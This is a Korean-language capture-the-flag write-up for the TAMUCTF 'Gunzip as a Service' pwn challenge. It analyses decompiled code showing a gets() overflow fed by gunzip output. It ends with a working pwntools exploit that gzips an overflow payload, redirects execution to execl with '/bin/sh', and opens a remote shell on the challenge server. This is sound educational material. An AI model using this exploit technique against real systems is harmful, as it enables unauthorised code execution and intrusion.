문제파일을 실행해본다.
root@kali:/work/myspace/TAMUCTF/pwn/GUNZIP_AS_A_SERVICE# ./gunzipasaservice
aaaaaaaa
gzip: stdin: not in gzip format
root@kali:/work/myspace/TAMUCTF/pwn/GUNZIP_AS_A_SERVICE#
먼저 사용자 입력을 받고,
gzip 형식이 아니라는 메시지를 출력해주고 있다.
취약점은 금방 발견할 수 있었다.
int __cdecl sub_80492C9(char *src, int fd2)
{
...
...
gets(src);
sub_80492C9
함수에서 gets()
를 호출하여 오버플로우가 발생한다.
하지만 분석 결과, 프로그램 실행시 키보드 입력을 요구했던 함수는 이 때의 gets()
가 아니었으며, 이 함수는 다른 곳에서 데이터를 받아오는 것이었다.
따라서 내가 조작해야하는 값이 존재하는 다른 곳을 찾아야만 했다.
IDA를 이용하여 코드를 확인해보자.
main
int __cdecl main(int argc, const char **argv, const char **envp) { _x86_get_pc_thunk_ax(); gunzip(); return 0; }
gunzip
함수를 호출하고 있다.
gunzip
size_t gunzip() { char ptr; // [sp+4h] [bp-414h]@1 char s; // [sp+204h] [bp-214h]@1 int fd2; // [sp+404h] [bp-14h]@1 int fd; // [sp+408h] [bp-10h]@1 size_t n; // [sp+40Ch] [bp-Ch]@1 subprocess((int)"gunzip", &fd, &fd2); // running gunzip :: parent ... ... }
가장 먼저 호출하는 subprocess()
가 어떤 기능을 하는지 살펴보자.
subprocess
int __cdecl subprocess(int fileName, int *p_fd, int *p_fd2) { int pipedes2; // [sp+0h] [bp-18h]@1 int v5; // [sp+4h] [bp-14h]@2 int pipedes; // [sp+8h] [bp-10h]@1 int fd; // [sp+Ch] [bp-Ch]@2 pipe(&pipedes); pipe(&pipedes2); if ( !fork() ) { // parent process's section close(fd); dup2(pipedes, 0); close(pipedes2); dup2(v5, 1); execl("/bin/sh", (const char *)&unk_804A00B, &unk_804A008, fileName, 0); } *p_fd = fd; *p_fd2 = pipedes2; close(v5); return 0; }
프로그램의 기능이 어떤 식으로 동작하는지 짐작할 수 있는 핵심 루틴이다.
다음과 같은 순서에 의해 gzip이 서비스된다.
pipe
함수를 이용하여 2개의 파이프를 생성한다.fork()
실행으로 루틴이 나뉘는데if
문 안에서 콘솔 file descriptor로 복사한 파이프를 연결시킨 뒤, execl()
로 gunzip 서비스가 실행된다. ※이 때 부모프로세스는 종료된다※fd
에 복사한 파이프를 저장하고 return 된다.다시 gunzip()
으로 돌아와서 다음 루틴을 살펴보자.
여기서부터는 자식프로세스가 실행하는 범위이다.
gunzip
subprocess((int)"gunzip", &fd, &fd2); /* eip is here */ memset(&s, 0, 0x200u); n = read(0, &s, 0x200u); // receive input from stdin:: child write(fd, &s, n); // send data to gunzip on parent :: child close(fd); memset(&ptr, 0, 0x200u); sub_80492C9(&ptr, fd2); return fwrite(&ptr, 1u, 0x200u, stdout); }
버퍼 s
에 사용자로부터 입력을 받는다.
그리고 변수 fd
로 저장된 버퍼의 값을 전송하는데,
여기서 fd
는 아까 subprocess()
에서 복사했던 파일 디스크립터이다.
즉, 부모 프로세스인 gzip
에 데이터를 전송하는 것이다.
그리고 sub_80492C9()
을 fd2
파일디스크립터를 인자로 전달하며 호출한다.
sub_80492C9
int __cdecl sub_80492C9(char *src, int fd2) { int v2; // ST1C_4@1 v2 = dup(0); // backup stdin dup2(fd2, 0); gets(src); // get data from fd2(gunzip on parent) return dup2(v2, 0); // recovery stdin }
간단하다.
먼저 v2
에 stdin
을 백업한다.
그리고 stdin에 fd2
파일 디스크립터를 연결시킨다.
(이 코드로 stdin은 키보드 입력 스트림이 아닌 fd2
를 나타내게 된다.)
다음으로 gets(src)
를 호출하는데,
원래는 키보드로부터 입력을 받는 함수지만 이전에 키보드 입력 스트림이 fd2
로 변경되었으므로, fd2
로부터 입력을 받게된다.
그리고 fd2
는 subprocess()
에서 부모프로세스와 연결시켰던 파이프 파일디스크립터이다.
즉, 부모프로세스로부터 gzip의 실행결과를 받게되는데 이 때의 결과물은 아까 전송했던 키보드 입력값에 대한 것이다.
그리고 이 값은 gunzip()
의 마지막 코드인
fwrite(&ptr, 1u, 0x200u, stdout);
에 의해서 자식프로세스의 stdout로 출력된다.
부모 프로세스는 단순히 gzip의 기능만 수행하는 것이다.
gzip이 처리하는 데이터는 자식 프로세스가 전달하는데, 이 때의 데이터는 gzip 압축파일 형식의 바이너리 값이어야 한다.
정상적인 gzip 값이면 압축해제된 데이터가 자식프로세스에 의해 출력되고, 그렇지 않을 경우 앞서 실행결과처럼 올바른 gzip 형식이 아니라는 에러메시지가 출력될 것이다.
취약점을 발생시킬 수 있는 포인트를 알아야 한다.
앞서 보았던 gets()
로 전달되는 값은 프로그램 실행시 요구했던 gzip 형식의 데이터가 압축해제됬을 때의 값이다.
다시 말해, 페이로드를 작성한 뒤 gzip으로 압축하여 자식프로세스의 stdin으로 전달하면 오버플로우되어 익스플로잇할 수 있을 것이다.
페이로드는 간단히 작성할 수 있다.
execl
함수가 존재하므로, 해당 위치로 RET를 조작하되 인자로 /bin/sh
를 전달하여 쉘이 실행되도록 만든다.
from pwn import *
import os
#p = process('./gunzipasaservice')
p = remote('challenges.tamuctf.com', 4709)
fw = open('payload', 'wb')
bufSize = 0x414
payload = '\x90'*bufSize
payload += 'B'*4
payload += p32(0x8049298) + p32(0x804A00E) + p32(0) #address of execl + /bin/sh + 0
fw.write(payload)
fw.close()
os.system('gzip -f payload')
fr = open('payload.gz', 'rb')
payload = ''.join(fr.readlines())
p.send(payload)
res = p.recvrepeat(0.2)
print 'res: ' + res.encode('hex')
'''
#only in local
state = p.poll()
print 'state: ' + str(state)
if state == None:
print '2222222'
break
else:
print '1111111'
p.close()
continue
'''
p.interactive()
execl()
의 마지막 인자로 0을 전달해야 정상적으로 쉘이 실행한다.